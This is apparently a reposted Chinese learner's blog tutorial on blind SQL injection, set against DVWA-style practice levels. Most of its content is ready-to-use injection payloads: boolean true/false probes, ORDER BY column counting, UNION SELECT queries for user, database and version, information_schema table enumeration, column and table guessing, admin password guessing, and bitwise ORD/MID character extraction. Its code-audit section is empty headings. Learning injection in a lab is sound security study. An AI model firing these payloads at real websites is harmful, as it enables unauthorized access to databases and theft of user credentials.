小白日記42:kali滲透測試之Web滲透-SQL盲注


SQL盲注

SQL注入介紹

SQL盲注:不顯示數據庫內建的報錯信息【內建的報錯信息幫助開發人員發現和修復問題】,但由於報錯信息中提供了關於系統的大量有用信息。當程序員隱藏了數據庫內建報錯信息,替換為通用的錯誤提示,SQL注入將無法依據報錯信息判斷注入語句的執行結果,即為盲注

 

思路:既然無法基於報錯信息判斷結果,基於邏輯真假的不同結果來判斷

a.  1' and 1=1--+

 

b.  1' and 1=2--+    【輸入前真后假,無返回,頁面沒被執行

###ab比較,表明存在SQL注入漏洞

 

 常用盲注語句【原理:猜測數據】

1' order by 5--                       【通過修改數值來測試列數,若頁面沒出現結果,則不存在該漏洞(1不能去掉,因為sql語句,表明必須提交一個正確的值,不一定為1)】

 

 

2' union select user(),database()--        【查詢用戶名和數據庫名】

 

2' union select 1,2--+      

1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+

【查所有的表名,#為注釋后面的代碼】

1' and 1=0 union select null,table_name from information_schema.tables#   

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #   

 

 當無權讀取information_schema庫 / 拒絕union、order by語句

#若為真,則顯示內容,若為假,則不顯示任何內容 【語句中的1不為固定,可靈活變化,甚至為字符,視情況而定】

#使用Burpsuite自動化猜解內容

1、猜列名

1' and user is [not] null--+ 【測試user列是否為空】

 

2、猜當前表表名

1' and users.user is not null--+    【列為已知列】

 

3、猜庫里其他表

1' and (select count(*) from table)>0--+

 

4、列表對應關系

1' and users.user is not null--+

 

  5、猜字段內容

  1' and user='admin

1' or user like '%a%

 

 6、猜賬號對應密碼

2' or user='admin' and password='faqfoiauggvuagbymd5'    【若為1,為id=1,若為2,則id為2,(意思為查詢第二個賬號)】

 

 

腦洞案例

當遇到網頁不顯示任何從數據庫中提取的信息,只有頁面風格畫面的轉換

and 1=1--+  【原頁面】

and 1=2--+  【顯示另一個頁面】

#則存在SQL注入漏洞

 

構造語句

1' and ORD(MID((VERSION()),1,1))&1>0--+    【無返回,則該位的ASCII碼為0,正常返回,則ASCII碼為1】

如:

#則證明,二進制中,十進制數為32的那一位二進制為1

MID函數:截取字符串中的某段子字符串,( 語法:MID(ColumnName,Start,Length)起始位置,長度 )】

ORD函數:#把函數中的字符轉換成ASCII碼,( 語法:ORD(string)&n ){n是二進制ASCII碼的對應位置是0或1,n=1,2,4,8,16,32,64,128}    通過迭代8次查詢每一位ASCII碼的值,反查出字符】 《靈使用查詢VERSION(),DATABASE(),CURRENT_USER()當前用戶等函數》

 

代碼審計

低級別【並未對變量進行消毒】

 

中安全級別

 

高安全級別

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM